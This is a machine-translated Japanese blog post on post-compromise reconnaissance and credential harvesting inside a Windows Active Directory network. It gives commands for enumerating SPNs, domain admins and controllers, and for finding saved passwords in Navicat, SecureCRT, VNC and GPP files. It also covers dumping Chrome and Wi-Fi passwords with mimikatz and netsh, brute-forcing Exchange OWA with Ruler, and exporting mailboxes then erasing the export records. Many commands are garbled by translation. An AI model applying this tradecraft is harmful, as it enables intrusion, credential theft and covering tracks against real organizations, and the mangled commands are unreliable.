Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86373418

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

0x01情報コレクション

マシンを征服した後、マシンのパスワードをつかんだり、イントラネットをスキャンしたりしないでください。ネットワークにIDやその他のセキュリティ機器がある場合、アラームを引き起こし、許可を失う可能性があるためです。このセクションでは、主にイントラネットマシンが侵害されたときに情報を収集する方法の一部を紹介します。

1.1。 SPNSPN:サービスプリンシパル名。 Kerberosを使用すると、サーバーにSPNを登録する必要があります。したがって、イントラネットのSPNをスキャンして、イントラネットで登録サービスをすばやく見つけることができます。 SPNスキャンは、ポートスキャンなどの不確実性検出アクションを回避できます。主なツールは、setSpn、getUserspns.vbs、およびルベウスです。

a。 Windowsに付属のSETSPNツールを使用すると、通常のドメインユーザーの権限を実行できます。

setspn -t domain.com -q */*

1049983-20200803104826005-1173465500.png

上記のスクリーンショットでは、DNSサービスがDCServerマシンで実行されていることがはっきりとわかります。ネットワークにMSSQLが存在する場合、SPNスキャンを使用して対応する結果を取得することもできます。

b。 getUserSpns.vbsを使用して、SPN結果:を取得します

1049983-20200803104826704-1620020405.png

c。 Rubeusツールは、KerberosをテストするためにHarmj0yによって開発されたツールです。

Rubeusを使用して、どのドメインユーザーがSPNを登録したかを表示し、その後のKerberostingの準備もします。

1049983-20200803104827297-1111431067.png

1.2。ポート接続

NetStat -Anoコマンドを使用して機械通信情報を取得すると、通信ポートとIPに基づいて次の情報を取得できます。通信情報が入っているトラフィックの場合、Springboard/Fortress、管理者のPCソースIP、ローカルWebアプリケーションポートなどの情報を取得できます。通信情報が発信トラフィックである場合、機密ポート(Redis、MySQL、MSSQLなど)、APIポートなどの情報を取得できます。

1.3。構成ファイル

通常のWebアプリケーションには、対応するデータベースアカウントのパスワード情報が必要です。これは良い宝物です。

次のコマンドを使用して、パスワードフィールドを含むファイルを見つけることができます。

CD /Web

Str /s /m 'パスワード' *。 *

一般的に使用されるアプリケーションのデフォルトの構成パスは次のとおりです。

a。

tomcat:

catalina_home/conf/tomcat-users.xml

b。

apache:

/etc/httpd/conf/httpd.conf

c。

nginx:

/etc/nginx/nginx.conf

d。

WDCP:

/www/wdlinux/wdcp/conf/mrpw.conf

E、

mysql:

mysql \ data \ mysql \ user.myd

1.4。ユーザー情報

ネットワーク上のユーザー情報やその他の情報を収集し、ドメインコントロールの検索やドメインコントロールへの攻撃の起動など、高権威ユーザーに対するターゲット攻撃を実行できます。

a。ドメインユーザーと、通常のドメインユーザーの許可を確認してください。

ネットユーザー /ドメイン

1049983-20200803104827800-1716445497.png

b。ドメイン管理者を表示:

ネットグループ「ドメイン管理者」 /ドメイン

1049983-20200803104828203-2023218895.png

c。ドメインコントロールIP、通常はDNSとタイムサーバーをすばやく見つけます。

正味時間/ドメイン

1049983-20200803104828606-1809682744.png

1049983-20200803104829094-314546997.png

nslookup -type=all_ldap._tcp.dc._msdcs.jumbolab.com

1049983-20200803104829555-1628743478.png

d。ドメインコントローラーを表示します。

ネットグループ「DomainControllers」 /ドメイン

1049983-20200803104829956-1201321226.png

1.5。イントラネットホストの発見

次のコマンドを使用して、イントラネットホストの発見を実現できます。

a。共有情報を表示:

ネットビュー

b。 ARPテーブルを確認してください:

ARP -A

c。ホストファイルを表示:

Linux3360

猫/など /ホスト

Windows:

タイプc: \ windows \ system32 \ drivers \ etc \ hosts

d。 DNSキャッシュを確認してください:

ipconfig /displaydns

1049983-20200803104830521-1766842512.png

e。もちろん、NMAPやNBTSCANなどのいくつかのツールを使用することも可能です。

1049983-20200803104830998-864326756.png

1.6。セッションコレクション

管理者がログインしたマシンやログインしたマシンを検討するなど、ネットワーク上のセッションを収集すると、攻撃のターゲットがはるかに明確になります。

NetSessionEnum APIを使用して、どのユーザーが他のホストにログインしているかを確認できます。

API関連の紹介は次のとおりです。

https://docs.microsoft.com/en-us/windows/win32/api/lmshare/nf-lmshare-netsessionenum

例として、PowerShell Script PowerViewを使用してください。

a。ドメインユーザーが:にログインしたマシンを確認できます

1049983-20200803104831517-453335689.png

b。また、ログインしたマシンのユーザーを確認することもできます。

1049983-20200803104832151-1289428284.png

他のツールとAPIは似ています。上記の情報を入手した後、発見されたドメイン管理またはドメイン管理にログインしたマシンを攻撃できます。これらのマシンを取得できる限り、ドメインコントロールにログインする対応する権限を持つことができます。

1.7。証明書コレクション

マシンを削除した後、できるだけ情報を収集する必要があります。以下は、パスワードを保存するために一般的に使用されるいくつかのソフトウェアのレジストリアドレスです。アルゴリズムに従って保存されたアカウントパスワードを復号化できます。

たとえば、リモート接続資格情報:

cmdkey/list

Navicat:

mysql

hkey_current_user \ software \ premiumsoft \ navicat \ servers \ y接続名

Mariadb

hkey_current_user \ software \ premiumsoft \ navicatmariadb \ servers \ y接続名

mongodb

hkey_current_user \ software \ premiumsoft \ navicatmongodb \ servers \ y接続名

Microsoft SQL

hkey_current_user \ software \ premiumsoft \ navicatmssql \ servers \ y接続名

オラクル

hkey_current_user \ software \ premiumsoft \ navicatora \ servers \ y接続名

postgreSql

hkey_current_user \ software \ premiumsoft \ navicatpg \ servers \ y接続名

sqlite

hkey_current_user \ software \ premiumsoft \ navicatsqlite \ servers \ y接続名

securecrt:

xp/win2003

c: \ documents and settings \ username \ application data \ vandyke \ config \ sessions

win7/win2008以上

c: \ uses \ username \ appdata \ roaming \ vandyke \ config \ sessions

Xshell 5xShell:

%userprofile%\ documents \ netsarang \ xshell \ sessions

Xshell 6

%userprofile%\ documents \ netSarang Computer \ 6 \ Xshell \ Sessions

hkcu \ software \ martin prikryl \ winscp 2 \ sessionswinscp:

realvnc

hkey_local_machine \ software \ realvnc \ vncserver

パスワード

tightVnc

hkey_current_user \ software \ tightvnc \ server値

パスワードまたはPasswordViewonly

Tigervnc

hkey_local_user \ software \ tigervnc \ winvnc4

パスワード

ultravnc

c: \ program files \ ultravnc \ ultravnc.ini

passwdまたはpasswd2

1.8。 DPAPIVNC:

Windows 2000以降MicrosoftがリリースしたDPAPIは、データ保護アプリケーションプログラミングインターフェイス(DPAPI)と呼ばれます。それらは、暗号化関数CryptProtectDataとそれぞれ復号化関数CryptunProtectDataを提供します。

その範囲の行動範囲には、以下が含まれ、これらに限定されません。

Outlookクライアントパスワード

Windowscredentialの資格情報

Chromeによって保存されたパスワード資格情報

InternetExplorerパスワード資格情報

DPAPIで使用される暗号化タイプは対称暗号化であり、キーを格納するファイルはマスターキーファイルと呼ばれ、そのパスは一般に%appData%\ Microsoft \ Protect \ {sid} \ {guid}です。ここで、{sid}はユーザーのセキュリティ識別子であり、{guid}はマスターキー名です。ユーザーのパスワード/ハッシュまたはドメインバックアップキーを使用してマスターキーを復号化し、DPAPIによって暗号化されたデータを復号化できます。

関連する紹介は次のとおりです。

https://docs.microsoft.com/en-us/dotnet/standard/security/how-to-use-data-protection

侵入では、Mimikatzを使用して自動データの復号化を実現できます。

a。 Chromeパスワードを復号化する:

Mimikatz DPAPI:3360CHROME /IN: '%localAppData%\ Google \ chrome \ user \ user \ default \ login data' /unprotect

mimikatz vault:3360cred /patchb、資格情報を復号化する:

信頼関係は、ドメインを接続する橋です。 1つのドメインが他のドメインとの信頼関係を確立する場合、2つのドメインは必要に応じて互いに管理できるだけでなく、ネットワーク全体のファイルやプリンターなどのデバイスリソースを割り当てることができ、異なるドメイン間でネットワークリソースを共有および管理できるようにします。 1.9。ドメイントラスト

ドメインの信頼を表示:

nltest /domain_trusts

1049983-20200803104832590-1797079651.png

上記の結果は、2つのドメインchild.jumbolab.comとjumbolab.comが両方向に信頼されていることを示しています。

1.10。ドメイン伝送

ドメイン伝送の脆弱性がある場合、ドメイン名解像度レコードを取得できます。分析レコードが利用可能になった後、ネットワーク環境をさらに理解することができます。たとえば、wwwによって分析されたIPセグメントはDMZエリアにある場合があり、メールで分析されたIPセグメントはコアエリアなどにある場合があります。

Windows:

nslookup -type=ns domain.com

nslookup

サーバーdns.domain.com

LS domain.com

DIG @DNS.DOMAIN.COM AXFR DOMAIN.COM

1.11。 DNSレコードのLinuxを取得:

ネットワーク上のDNSレコードを収集すると、一部のマシンやWebサイトをすばやく見つけることができます。一般的なツールには、DNSCMDとPowerViewが含まれます。

a。 Windows Serverでは、DNSCMDツールを使用してDNSレコードを取得できます。

DNSレコードを取得します:

DNSCMD。 /ゾーンプリントjumbolab.com

1049983-20200803104833009-2122904699.png

DNSCMD。 /enumrecords jumbolab.com。

1049983-20200803104833364-906992318.png

b。 Windows Non-Windowsサーバーマシンでは、PowerViewを使用して取得できます。

Import-Module PowerView.ps1

get -dnsrecord -zoneName jumbolab.com

1049983-20200803104833714-216037834.png

1.12。 WI-FI

次のコマンドを使用して、接続されたWiFiパスワードを取得します。

for /f 'skip=9トークン=1,2デリム=:'%i in( 'netsh wlan show profiles')do @echo%j | findstr -i -v echo | netsh wlan showプロファイル%j key=clear

1.13。 gpp

グループポリシーを配布する場合、GPP構成用のXMLファイルがドメインSYSVOLディレクトリで生成されます。グループポリシーの構成時にパスワードが入力された場合、暗号化されたアカウントパスワードが存在します。これらのパスワードは、多くの場合、管理者のパスワードです。

XMLのパスワードはAESによって暗号化され、キーはMicrosoftによって開示されています。

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-gppref/2c15cbf0-f086-4c74-8b70-1ffa45dd4bbe?redirectedfrom=msdn

関連するスクリプトを使用して、次のような復号化できます。

https://raw.githubusercontent.com/powershellmafia/powersploit/master/exfiltration/get-gpppassword.ps1

ドメインユーザーログインスクリプトは、ドメインユーザーにも敏感なファイルがあるディレクトリに存在します。

\\ domain \ netlogon

1.14。シートベルト

シートベルトツールを使用して、自動化された情報収集を行うことができます。Googleの履歴、ユーザーなどに限定されない情報が収集されています。

1049983-20200803104834378-934499144.png Chromeのアクセス履歴がある場合、ユーザーがアクセスするいくつかの内部サイトのドメイン名/IPを知ることができ、イントラネット資産リソースの効率を改善できます。

1.15。ブラッドハウンド

Bloodhoundを使用して、ユーザー、コンピューター、組織構造、最速の攻撃方法など、自動化された情報収集を行うことができます。ただし、自動化はアラームを意味します。この脆弱性が自動化された情報を収集すると、イントラネットデバイスで多数のアラームが生成され、必要に応じて使用されます。

埋め込む:

Sharphound.exe -cすべて

実行後、20200526201154_BLOODHOUNDに似た名前のZIP圧縮パッケージが生成されます。

Bloodhoundをインポートした後、視覚分析を行うことができます。

1049983-20200803104835012-1640841019.png

最も一般的に使用されるものは、ドメインコントロールを攻撃する最速の方法を見つけることです。

1049983-20200803104835529-580254969.png

下の図に示すように、ハンドユーザーを取得すると、ドメイン制御権限を取得できることがわかります。

1049983-20200803104836130-1103557556.png

1.16。交換

交換は通常、ドメイン内のコアロケーションにあります。これには、ドメイン制御サーバーにインストールされています。したがって、交換の関連する脆弱性にもっと注意を払う必要があります。交換機が削除された場合、ドメインコントロールはそれほど離れていません。

1.16.1電子メールユーザーパスワードブラスト

Rulerツールを使用して、OWAインターフェイスを爆破します。

./ruler - domain targetddomain.com brute - users/path/to/user.txt - passwords/path/to/passwords.txt

Ruler Toolは、OWAが爆破できるインターフェイスを自動的に検索します。

https://autodiscover.targetdomain.com/autodiscover/autodiscover.xml

他のEWSインターフェイスには、ブルートが強化されるリスクもあります。

https://mail.targetdomain.com/ews

1.16.2アドレス帳コレクション

メールアカウントのパスワードを取得した後、MailSniperを使用してアドレス帳を収集できます。アドレス帳を入手した後、上記のブラスト方法を使用して、弱いパスワードを試してみることができます。ただし、パスワードが多すぎないでください。ドメインユーザーにロックされる可能性があります。

get -globalAddressList -ExchHostName Mail.domain.com -Username Domain \ Username -Password fall2016 -outfile Global -Address -List.txt

1.16.3情報収集

Exchangeサーバーを削除した後、ユーザーや電子メールに限定されない情報収集を行うことができます。

すべてのメールユーザーを取得します:

get-mailbox

エクスポートメール:

newmailboxexportrequest -mailbox username -filepath( '\ localhost \ c $ \ test \ username.pst')

Webポートを介してエクスポートしてログインすることもできます。

https://mail.domain.com/ecp/

エクスポート後にレコードがあり、次のコマンドで表示できます。

get-mailboxexportrequest

エクスポートレコードを削除します:

remove -mailboxexportrequest -identity 'username \ mailboxexport' -confirm: $ false

0x02転送